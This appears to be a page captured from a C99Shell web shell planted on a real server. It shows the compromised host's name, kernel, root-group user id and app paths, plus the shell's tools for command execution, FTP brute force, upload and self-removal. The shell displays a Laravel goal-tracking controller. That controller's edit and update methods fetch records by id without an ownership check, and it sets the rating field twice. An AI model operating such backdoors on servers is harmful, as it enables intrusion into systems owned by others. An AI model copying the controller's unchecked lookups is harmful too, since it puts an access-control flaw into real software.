!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GoalTrackingController.php (6.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Branch;
use 
App\Models\Employee;
use 
App\Models\GoalTracking;
use 
App\Models\GoalType;
use 
Illuminate\Http\Request;

class 
GoalTrackingController extends Controller
{

    public function 
index()
    {
        if(
\Auth::user()->can('manage goal tracking'))
        {
            
$user \Auth::user();
            if(
$user->type == 'Employee')
            {
                
$employee      Employee::where('user_id'$user->id)->first();
                
$goalTrackings GoalTracking::where('created_by''='\Auth::user()->creatorId())->where('branch'$employee->branch_id)->with(['goalType','branches'])->get();
            }
            else
            {
                
$goalTrackings GoalTracking::where('created_by''='\Auth::user()->creatorId())->with(['goalType','branches'])->get();
            }

            return 
view('goaltracking.index'compact('goalTrackings'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
create()
    {
        if(
\Auth::user()->can('create goal tracking'))
        {

            
$brances Branch::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$brances->prepend('Select Branch''');
            
$goalTypes GoalType::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$goalTypes->prepend('Select Goal Type''');
            
$status GoalTracking::$status;

            return 
view('goaltracking.create'compact('brances''goalTypes','status'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
store(Request $request)
    {
        if(
\Auth::user()->can('create goal tracking'))
        {

            
$validator \Validator::make(
                
$request->all(), [
                                   
'branch' => 'required',
                                   
'goal_type' => 'required',
                                   
'start_date' => 'required',
                                   
'end_date' => 'required',
                                   
'subject' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$goalTracking                     = new GoalTracking();
            
$goalTracking->branch             $request->branch;
            
$goalTracking->goal_type          $request->goal_type;
            
$goalTracking->start_date         $request->start_date;
            
$goalTracking->end_date           $request->end_date;
            
$goalTracking->subject            $request->subject;
            
$goalTracking->target_achievement $request->target_achievement;
            
$goalTracking->description        $request->description;
            
$goalTracking->created_by         \Auth::user()->creatorId();
            
$goalTracking->save();

            return 
redirect()->route('goaltracking.index')->with('success'__('Goal tracking successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
show(GoalTracking $goalTracking)
    {
        
//
    
}


    public function 
edit($id)
    {

        if(
\Auth::user()->can('edit goal tracking'))
        {
            
$goalTracking GoalTracking::find($id);
            
$brances      Branch::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$brances->prepend('Select Branch''');
            
$goalTypes GoalType::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$goalTypes->prepend('Select Goal Type''');
            
$status GoalTracking::$status;

            
$ratings json_decode($goalTracking->rating,true);

            return 
view('goaltracking.edit'compact('brances''goalTypes''goalTracking''ratings','status'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
update(Request $request$id)
    {
        if(
\Auth::user()->can('edit goal tracking'))
        {
            
$goalTracking GoalTracking::find($id);
            
$validator    \Validator::make(
                
$request->all(), [
                                   
'branch' => 'required',
                                   
'goal_type' => 'required',
                                   
'start_date' => 'required',
                                   
'end_date' => 'required',
                                   
'subject' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$goalTracking->branch             $request->branch;
            
$goalTracking->goal_type          $request->goal_type;
            
$goalTracking->start_date         $request->start_date;
            
$goalTracking->end_date           $request->end_date;
            
$goalTracking->subject            $request->subject;
            
$goalTracking->target_achievement $request->target_achievement;
            
$goalTracking->status             $request->status;
            
$goalTracking->progress           $request->progress;
            
$goalTracking->description        $request->description;
            
$goalTracking->rating         json_encode($request->ratingtrue);
            
$goalTracking->rating        $request->rating;
            
$goalTracking->save();

            return 
redirect()->route('goaltracking.index')->with('success'__('Goal tracking successfully updated.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }



    public function 
destroy($id)
    {

        if(
\Auth::user()->can('delete goal tracking'))
        {
            
$goalTracking GoalTracking::find($id);
            if(
$goalTracking->created_by == \Auth::user()->creatorId())
            {
                
$goalTracking->delete();

                return 
redirect()->route('goaltracking.index')->with('success'__('GoalTracking successfully deleted.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0145 ]--